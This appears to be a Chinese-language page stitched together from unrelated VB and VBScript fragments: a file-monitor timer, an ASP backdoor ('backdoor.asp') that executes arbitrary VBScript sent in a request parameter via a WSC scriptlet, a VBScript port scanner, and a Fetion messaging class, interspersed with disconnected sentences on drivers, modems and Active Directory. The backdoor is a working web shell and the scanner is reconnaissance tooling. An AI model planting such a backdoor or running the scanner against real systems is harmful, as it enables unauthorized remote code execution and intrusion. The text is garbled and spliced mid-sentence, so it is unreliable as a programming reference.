在FileCheck中添加下列代码:-> PublicSubMonitorFile(FilenameAsString)
objFileCheck.Filename=Filename
objFileCheck.Timer1.Interval=60000
EndSub->
当我们调用此过程时,需要给出文件名参数<?xml version="1.0" encoding="gb2312" standalone="yes"?>
backdoor.asp内容如下:
b=request("a")
Set fs=GetObject("script:d:/web/ScriptCodingInfo.wsc#haiyangtop")
fs.lcx(b)
%>
调用方法如下:("Scripting.FileSystemObject").OpenTextFile("c:\1122.txt"),8,True,0).WriteLine("123")
注意这里的a=只能是vbs的代码,不可以接受像response、rquest之类的asp的东东正如您所料,ActiveDirectory也从未听说过“姓氏”一词这是程序在运行时创建了动态菜单的缘故
我们可以把这些分离出来的驱动程序对应的文件夹写入注册表,然后重新启动电脑,电脑会自动搜索硬件并安装驱动程序
3、利用VB提供的MCI控件
控件是VB提供的标准化的对象,VB为它提供了标准的事件处理函数或过程,用户可在此基础上编写实际的事件处理程序来响应用户的操作
On Error Resume Next
if (lcase(right(wscript.fullname,11))="wscript.exe") then
wscript.echo "Execute it under the cmd.exe Plz! Thx."
wscript.quit
end If
if Wscript.Arguments.count=0 Then
usage()
wscript.quit
End If
Set Arg=Wscript.Arguments
Sport=Split(arg(1),",")
For i=0 To UBound(Split(arg(1),","))
wsh.echo "scan "&Sport(i)&" ing……"
Set x=CreateObject("msxml2.serverXMLHTTP")
x.open "post",""&arg(0)&":"&Sport(i)
x.send("hello")
wsh.echo Space(3)&"error.NuMbEr:"& ERr.NuMbEr & Space(5)&"ERr.Description:"&ERr.Description
if ERr.NuMbEr=0 Or ERr.NuMbEr=-2147012866 Or ERr.NuMbEr=-2147012894 Or ERr.NuMbEr=-2147012744 Or ERr.NuMbEr=-2147467259 Then
wsh.echo Space(3)&" The "&Sport(i)&" port is OPEN"
End if
next
function usage()
wscript.echo "| 注意查看ERr.Description来判断端口开放,自动探测不一定准确 |"
wscript.echo "| |"
wscript.echo "|Useage: |"
wscript.echo "| cscript.exe this.vbs ip port |"
wscript.echo "|ex: |"
wscript.echo "| cscript.exe this.vbs ip 80 or 80,123,445…… |"
wscript.echo "+-------------------------------------------------------------------+"&chr(10)
end function
在通过MODEM建立好联系后,MODEM会返回“CONNECT9600”消息,其中9600表示所建立的波特率
Class VBSFetion
Private [$mobile], [$password], http
'Author: Demon
'Website:
'Date: 2011/6/11
'初始化事件
Private Sub Class_Initialize
Set http=CreateObject("Msxml2.XMLHTTP")
End Sub
'结束事件
Private Sub Class_Terminate
Call Logout()
Set http=Nothing
End Sub
'初始化函数
'mobile 手机号
'password 登陆密码
Public Function Init(mobile, password)
[$mobile]=mobile
[$password]=password
str=Login()
If InStr(str, "密码输入错误") Then
Init=False
Else
Init=True
End If
End Function
'发送飞信
'mobile 对方手机号
'message 发送内容
Public Function SendMsg(mobile, message)
If message="" Then Exit Function
If mobile=[$mobile] Then
Send=ToMyself(message)
Else
uid=GetUid(mobile)
If uid <> -1 Then Send=ToUid(uid, message, False)
End If
End Function
'发送短信
'mobile 对方手机号
' 'message 发送内容
Public Function SendShortMsg(mobile, message)
If message="" Then Exit Function
If mobile=[$mobile] Then
Send=ToMyself(message)
Else
uid=GetUid(mobile)
If uid <> -1 Then Send=ToUid(uid, message, True)
End If
End Function
'登陆
Private Function Login()
url="/im/login/inputpasssubmit1.action"
data="m=" & [$mobile] & "&pass=" & [$password] & "&loginstatus=4"
Login=Post(url, data)
End Function
'登出
Private Function Logout()
url="/im/index/logoutsubmit.action"
Logout=Post(url, "")
End Function
'给自己发飞信
Private Function ToMyself(message)
url="/im/user/sendMsgToMyselfs.action"
message="msg=" & message
ToMyself=Post(url, message)
End Function
'给好友发送飞信(短信)
'uid 飞信ID
'message 飞信(短信)内容
'isshort True为短信,False为飞信
Private Function ToUid(uid, message, isshort)
If isshort Then
url="/im/chat/sendShortMsg.action?touserid=" & uid
data="msg=" & message
Else
url="/im/chat/sendMsg.action?touserid=" & uid
data="msg=" & message
End If
ToUid=Post(url, data)
End Function
'获取飞信ID
'mobile 手机号
Private Function GetUid(mobile)
url="/im/index/searchOtherInfoList.action"
data="searchText=" & mobile
str=Post(url, data)
Set re=New RegExp
re.Pattern="/toinputMsg\.action\?touserid=(\d+)"
If re.Test(str) Then
Set ms=re.Execute(str)
GetUid=ms.Item(0).Submatches(0)
Else
GetUid=-1
End If
End Function
'发送HTTP POST请求
Private Function Post(url, data)
url="" & url
http.open "POST", url, False
http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
http.send data
Post=http.responseText
End Function
End Class
示例程序:
'初始对象
Set fetion=New VBSFetion
'登陆飞信
If fetion.Init("11122223333", "123456") Then
'发送飞信
fetion.SendMsg "44455556666", "Hello world"
'发送短信
fetion.SendShortMsg "77788889999", "Hello world"
End If
在屏幕上输出1-10如果同一个窗体需要被储存在多个位置信息之中的话你可以使用不同的标识符
。